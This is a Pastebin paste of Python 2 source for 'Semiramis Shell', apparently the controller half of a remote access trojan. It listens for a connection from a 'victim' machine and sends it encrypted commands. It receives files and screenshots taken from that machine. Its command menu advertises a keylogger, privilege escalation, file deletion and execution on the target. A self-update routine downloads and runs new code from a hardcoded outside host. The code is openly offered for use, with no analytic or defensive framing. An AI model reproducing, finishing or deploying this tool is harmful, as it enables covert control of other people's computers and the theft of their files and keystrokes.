Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2014
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.67 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #-*- coding: utf-8 -*-
  3.  
  4. #========================================--..
  5. #// Author  : Black Python | S.T
  6. #// Project : Semiramis Shell
  7. #// Version : 0.0.1
  8. #========================================--..
  9.  
  10. # TO DO LIST
  11. # - Remote shelldeyken clean komutundan sonra 1 satir calismiyor onu fixle
  12.  
  13. # IMPORTS
  14.  
  15. import os
  16. import sys
  17. import time
  18. import urllib
  19. # import signal
  20. import urllib2
  21. import datetime
  22.  
  23. from libs.serversocketlib import ServerSocket
  24. from libs.shelllib import msglib
  25. from libs.cryptolib import encrypt, decrypt
  26. from time import gmtime, strftime
  27.  
  28. # SIGNAL HANDLER
  29.  
  30. #.. ! ilk isin!
  31.  
  32. # GLOBAL VARIABLES
  33.  
  34. VERSION = '0.0.1'
  35. UPDATER = 'http://www.blackpython.byethost7.com/'
  36. FILE_NAME = os.path.basename(__file__)
  37.  
  38. shell_socket = None
  39.  
  40. remote_line = None
  41.  
  42. HOST = None
  43. PORT = None
  44. TRANSFER_PORT = None
  45. ASK_PORT = None
  46. ASK_TRANSFER_PORT = None
  47.  
  48. CONFIGURED = False
  49.  
  50. BUFF_SIZE = 65535
  51. PEER_ADDR = None
  52.  
  53. def run_reactor():
  54.     global shell_socket
  55.     msglib.header("SEMIRAMIS SHELL")
  56.     msglib.info("HOST          --> %s" % HOST)
  57.     msglib.info("PORT          --> %d" % PORT)
  58.     msglib.info("TRANSFER PORT --> %d" % TRANSFER_PORT)
  59.     msglib.finish_line()
  60.     msglib.warning("Starting reactor...")
  61.     msglib.success("Reactor started!\n")
  62.     shell_socket = ServerSocket()
  63.     shell_socket.setopt(restartable=True)
  64.     shell_socket.configure(HOST, PORT)
  65.     shell_socket.start(1)
  66.     shell_socket.accept()
  67.     msglib.success("Connection established from %s!" % shell_socket.getPeerAddr())
  68.     remote_commands()
  69.     while True:
  70.         serverCommandLine()
  71.         remote_cmd = remote_line.strip()
  72.         cmd = encrypt(remote_cmd)
  73.         if remote_cmd == "" or remote_cmd.isspace():
  74.             pass
  75.         else:
  76.             try:
  77.                 shell_socket.sendData(cmd)
  78.                 data = shell_socket.getData(BUFF_SIZE)
  79.             except:
  80.                 shell_socket.stop()
  81.                 msglib.start_line()
  82.                 msglib.error("Remote host closed the connection!")
  83.                 msglib.finish_line()
  84.                 commandLine()
  85.             else:
  86.                 decrypted_data = decrypt(data)
  87.                 if not decrypted_data:
  88.                     pass
  89.                 elif decrypted_data == "downloadrequest":
  90.                     download_socket = ServerSocket()
  91.                     download_socket.configure(HOST, TRANSFER_PORT)
  92.                     download_socket.setopt(restartable=True)
  93.                     download_socket.start(1)
  94.                     msglib.start_line()
  95.                     msglib.success("Download server started!")
  96.                     download_socket.accept()
  97.                     file_name = decrypt(download_socket.getData())
  98.                     msglib.info("File name: %s" % file_name)
  99.                     msglib.info("Trying to download the file...")
  100.                     start_time = datetime.datetime.now()
  101.                     msglib.info("Started downloading process at: %s" % start_time)
  102.                     download_socket.getFile(file_name)
  103.                     stop_time = datetime.datetime.now()
  104.                     download_socket.stop()
  105.                     downloading_time = stop_time - start_time
  106.                     msglib.info("Finished downloading at: %s" % downloading_time)
  107.                     msglib.success("File downloaded!")
  108.                     msglib.finish_line()
  109.                 elif decrypted_data == "uploadrequest":
  110.                     upload_socket = ServerSocket()
  111.                     upload_socket.configure(HOST, TRANSFER_PORT)
  112.                     upload_socket.setopt(restartable=True)
  113.                     upload_socket.start(1)
  114.                     msglib.start_line()
  115.                     msglib.success("Upload server started!")
  116.                     upload_socket.accept()
  117.                     msglib.info("Starting to upload file to: %s" % upload_socket.getPeerAddr())
  118.                     file_name = decrypt(upload_socket.getData())
  119.                     msglib.info("File name: %s" % file_name)
  120.                     msglib.info("Trying to upload the file...")
  121.                     start_time = datetime.datetime.now()
  122.                     upload_socket.sendFile(file_name)
  123.                     stop_time = datetime.datetime.now()
  124.                     upload_socket.stop()
  125.                     downloading_time = stop_time - start_time
  126.                     msglib.info("Finished uploading at: %s" % downloading_time)
  127.                     msglib.success("File uploaded!")
  128.                     msglib.finish_line()
  129.                 elif decrypted_data == "commands":
  130.                     remote_commands()
  131.                 elif decrypted_data == "clean":
  132.                     if os.name == 'nt':
  133.                         os.system('cls')
  134.                     elif os.name == 'posix':
  135.                         os.system('clear')
  136.                     elif os.name == 'darwin':
  137.                         os.system('clear')
  138.                     else:
  139.                         msglib.warning("Couldn't detect the OS?!")
  140.                     serverCommandLine()
  141.                 elif decrypted_data == "GOODBYE":
  142.                     shell_socket.stop()
  143.                     msglib.start_line()
  144.                     msglib.success("Closed the session with victim, returning to main command line...")
  145.                     msglib.finish_line()
  146.                     commandLine()
  147.                 elif decrypted_data == "screenshot":
  148.                     screenshot_socket = ServerSocket()
  149.                     screenshot_socket.configure(HOST, TRANSFER_PORT)
  150.                     screenshot_socket.start(1)
  151.                     screenshot_socket.accept()
  152.                     msglib.start_line()
  153.                     msglib.info("Taking the screenshot...")
  154.                     current_time = strftime("%Y-%m-%d %H.%M.%S", gmtime())
  155.                     screenshot_socket.getFile("screenshot[%s].jpg" % current_time)
  156.                     screenshot_socket.stop()
  157.                     msglib.success("Screenshot took!")
  158.                     msglib.finish_line()
  159.                 else:
  160.                     data_size = len(decrypted_data)
  161.                     msglib.start_line()
  162.                     msglib.info("Data received: %s" % data_size)
  163.                     msglib.finish_line()
  164.                     msglib.write(decrypted_data)
  165.  
  166. def check_transferPort():
  167.     global TRANSFER_PORT
  168.     MAX_PORTNUM = 65535
  169.     MIN_PORTNUM = 0
  170.     if ASK_TRANSFER_PORT == "":
  171.         TRANSFER_PORT = 3169
  172.         msglib.success("TRANSFER PORT set to %d" % TRANSFER_PORT)
  173.     elif not ASK_TRANSFER_PORT.isdigit():
  174.         msglib.warning("Please enter a number!")
  175.         ask_transferPort()
  176.     elif int(ASK_TRANSFER_PORT) > MAX_PORTNUM:
  177.         msglib.warning("Your TRANSFER PORT number is too big!")
  178.         ask_transferPort()
  179.     elif int(ASK_TRANSFER_PORT) < MIN_PORTNUM:
  180.         msglib.warning("Your TRANSFER PORT number is too small!")
  181.         ask_transferPort()
  182.     else:
  183.         TRANSFER_PORT = int(ASK_TRANSFER_PORT)
  184.         msglib.success("TRANSFER PORT set to %d" % TRANSFER_PORT)
  185.  
  186. def check_port():
  187.     global PORT
  188.     MAX_PORTNUM = 65535
  189.     MIN_PORTNUM = 0
  190.     if ASK_PORT == "":
  191.         PORT = 3162
  192.         msglib.success("PORT set to %d" % PORT)
  193.     elif not ASK_PORT.isdigit():
  194.         msglib.warning("Please enter a number!")
  195.         ask_port()
  196.     elif int(ASK_PORT) > MAX_PORTNUM:
  197.         msglib.warning("Your PORT number is too big!")
  198.         ask_port()
  199.     elif int(ASK_PORT) < MIN_PORTNUM:
  200.         msglib.warning("Your PORT number is too small!")
  201.         ask_port()
  202.     else:
  203.         PORT = int(ASK_PORT)
  204.         msglib.success("PORT set to %d" % PORT)
  205.  
  206. def ask_port():
  207.     global ASK_PORT
  208.     ASK_PORT = raw_input(msglib.in_program_input("PORT-->")).strip()
  209.     check_port()
  210.  
  211. def ask_transferPort():
  212.     global ASK_TRANSFER_PORT
  213.     ASK_TRANSFER_PORT = raw_input(msglib.in_program_input("TRANSFER PORT-->")).strip()
  214.     check_transferPort()
  215.  
  216. def set_configured():
  217.     global CONFIGURED
  218.     CONFIGURED = True
  219.  
  220. def start():
  221.     if CONFIGURED == True:
  222.         run_reactor()
  223.     else:
  224.         msglib.error("No configuration settings found!")
  225.  
  226. def restart():
  227.     msglib.warning("Restarting...")
  228.     time.sleep(1)
  229.     python = sys.executable
  230.     os.execl(python, python, FILE_NAME)
  231.  
  232. def settings():
  233.     global CONFIGURED
  234.     if CONFIGURED == True:
  235.         y_or_no_color = msglib.y_or_no("You had configure that once, want to reconfigure?")
  236.         y_or_no = raw_input(y_or_no_color).upper().strip()
  237.         Y = "Y"
  238.         if y_or_no == Y:
  239.             CONFIGURED = False
  240.             settings()
  241.         else:
  242.             msglib.info("Returning to command line...")
  243.             commandLine()
  244.     else:
  245.         global HOST
  246.         internetChecker = ServerSocket().checkInternet()
  247.         localaddrChecker = ServerSocket().getLocalAddr()
  248.         INTERNET = internetChecker
  249.         msglib.header("GENERAL SETTINGS")
  250.         if INTERNET == False:
  251.             msglib.fail("You are note connected to internet! ~ [TESTMODE:127.0.0.1]")
  252.             HOST = '127.0.0.1'
  253.             msglib.info("HOST set to: %s" % HOST)
  254.         else:
  255.             msglib.success("You are connected to internet! ~ [REALMODE:%s]" % localaddrChecker)
  256.             HOST = localaddrChecker
  257.             msglib.info("HOST set to: %s" % HOST)
  258.         msglib.info("Leave blank for default PORT ~ [3162]")
  259.         msglib.info("Leave blank for default TRANSFER PORT ~ [3169]")
  260.         ask_port()
  261.         ask_transferPort()
  262.         msglib.finish_line()
  263.         set_configured()
  264.  
  265. def about():
  266.     msglib.header("About Me")
  267.     msglib.write("Author        : Black Python | S.T")
  268.     msglib.write("Project Name  : Semiramis Shell")
  269.     msglib.write("Version       : %s" % VERSION)
  270.     msglib.write("Special Thanks:")
  271.     msglib.write("// HimitsuNoChikara")
  272.     msglib.write("// Faraba")
  273.     msglib.write("for their help in testing the program...")
  274.     msglib.finish_line()
  275.  
  276. def update():
  277.     internetChecker = ServerSocket().checkInternet()
  278.     INTERNET = internetChecker
  279.     if INTERNET == False:
  280.         msglib.error("You are not connected to internet, returning to commandline...")
  281.         commandLine()
  282.     else:  
  283.         global VERSION
  284.         msglib.start_line()
  285.         msglib.info("Your current version: %s" % VERSION)
  286.         real_version = urllib2.urlopen(UPDATER).read()
  287.         if VERSION == real_version:
  288.             msglib.success("You are up to date!")
  289.             msglib.finish_line()
  290.         else:
  291.             VERSION = real_version
  292.             msglib.warning("You are not up to date!")
  293.             msglib.info("Downloading and installing the updates...")
  294.             url = (UPDATER + "updates/%s/shell.py" % real_version)
  295.             try:
  296.                 urllib.urlretrieve(url, FILE_NAME)
  297.             except:
  298.                 msglib.error("Couldn't connect to updater, update failed!")
  299.                 msglib.info("Returning to command line...")
  300.                 commandLine()
  301.             else:
  302.                 msglib.success("Congratulations! You are now up to date!")
  303.                 msglib.info("Updated to %s" % VERSION)
  304.                 msglib.finish_line()
  305.                 msglib.warning("Program must restart itself...")
  306.                 time.sleep(1)
  307.                 python = sys.executable
  308.                 os.execl(python, python, FILE_NAME)
  309.  
  310. def version():
  311.     msglib.start_line()
  312.     msglib.info("Version --> %s" % VERSION)
  313.     msglib.finish_line()
  314.  
  315. def clean():
  316.     if os.name == 'nt':
  317.         os.system('cls')
  318.         main()
  319.     elif os.name == 'posix':
  320.         os.system('clear')
  321.         main()
  322.     elif os.name == 'darwin':
  323.         os.system('clear')
  324.         main()
  325.     else:
  326.         msglib.warning("Couldn't detect the OS?!")
  327.  
  328. def exitme():
  329.     msglib.error("Exiting..!")
  330.     sys.exit(1)
  331.  
  332. def helpme():
  333.     msglib.write("""
  334. ==- Shell Commands -===========================--..
  335. // help     | show help phase
  336. // exit     | exit from program
  337. // update   | updates the program to newer version
  338. // version  | shows the version of the program
  339. // clean    | cleans the shell
  340. // about    | let me tell you something...
  341. // start    | starts the handler
  342. // restart  | restarts the program, deletes all the configures
  343. // settings | shows settings for handler
  344. ==============================================--..
  345. """)
  346.  
  347. def remote_commands():
  348.     msglib.write("""
  349. ==- Remote Commands -===========================--..
  350. // ipinfo       | shows target's ip information [OK]
  351. // dir          | lists files and folders on current directory [OK]
  352. // updir        | selects the upper directory of current directory [OK]
  353. // opendir      | opens a directory on current directory [OK]
  354. // deletedir    | deletes a directory on the current directory
  355. // deletefile   | deletes a file on the current directory
  356. // createdir    | creates a directory on the current directory [OK]
  357. // createfile   | creates a file on the currend directory
  358. // downloadfile | downloads file from current directory [OK]
  359. // downloaddir  | downloads the whole directory on current directory
  360. // uploadfile   | uploads file from current directory to remote directory
  361. // uploaddir    | uploads the while directory to remote directory
  362. // sreenshot    | takes the screenshot of the system and sends it back to u
  363. // startlogger  | starts the keylogger
  364. // stoplogger   | stops the keylogger and sends the logs to u
  365. // becomegod    | makes u admin of the system, or the SYSTEM
  366. // execute      | executes the specified file and creates a task too
  367. // tasklist     | shows the task list of the system [OK]
  368. // killtask     | kills a task of the system [OK]
  369. // commands     | shows that again... [OK]
  370. // close        | closes session with victim [OK]
  371. // clean        | cleans the screen
  372. ==============================================--..
  373. ==- Notes & Known Issiues -===================================--..
  374. // if u try to download or upload a file like 1 GB, it will gives a memory
  375. error and closes the session and client! we will fix that a.s.a.p
  376. // if u see the '[OK]' near the command than u can use it safely without an error
  377. but the others are underdevelopment
  378. ==============================================--..
  379. Total commands: 22
  380. Completed commands: 10
  381. Underdevelopment commands: 12
  382. Have Fun!
  383. """)
  384.  
  385. shell_dict = {
  386.               'help':helpme,
  387.               'exit':exitme,
  388.               'clean':clean,
  389.               'version':version,
  390.               'update':update,
  391.               'about':about,
  392.               'settings':settings,
  393.               'restart':restart,
  394.               'start':start,
  395.               }
  396.  
  397. def banner():
  398.     msglib.write("""  ___            _                _    
  399. / __| ___ _ __ (_)_ _ __ _ _ __ (_)___
  400. \__ \/ -_) '  \| | '_/ _` | '  \| (_-<
  401. |___/\___|_|_|_|_|_| \__,_|_|_|_|_/__/
  402. ======================================
  403. Semiramis Shell | v0.0.1 ~ beta
  404. """)
  405.  
  406. def serverCommandLine():
  407.     global remote_line
  408.     peeraddr = shell_socket.getPeerAddr()
  409.     remote_line = raw_input(msglib.remote_shell("session", "@", peeraddr, "#>"))
  410.  
  411. def commandLine():
  412.     while True:
  413.         local_line = raw_input(msglib.shell("semishell", "@>"))
  414.         if local_line == "" or local_line.isspace():
  415.             pass
  416.         else:
  417.             cmd = local_line.strip()
  418.             if shell_dict.has_key(cmd):
  419.                 shell_dict[cmd]()
  420.             else:
  421.                 msglib.warning("Command not found!: %s" % cmd)
  422.  
  423. def main():
  424.     if os.name == 'nt':
  425.         os.system('cls')
  426.     elif os.name == 'posix':
  427.         os.system('clear')
  428.     elif os.name == 'darwin':
  429.         os.system('clear')
  430.     else:
  431.         msglib.warning("Couldn't detect the OS?!")
  432.     banner()
  433.     commandLine()
  434.  
  435. if __name__ == "__main__":
  436.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement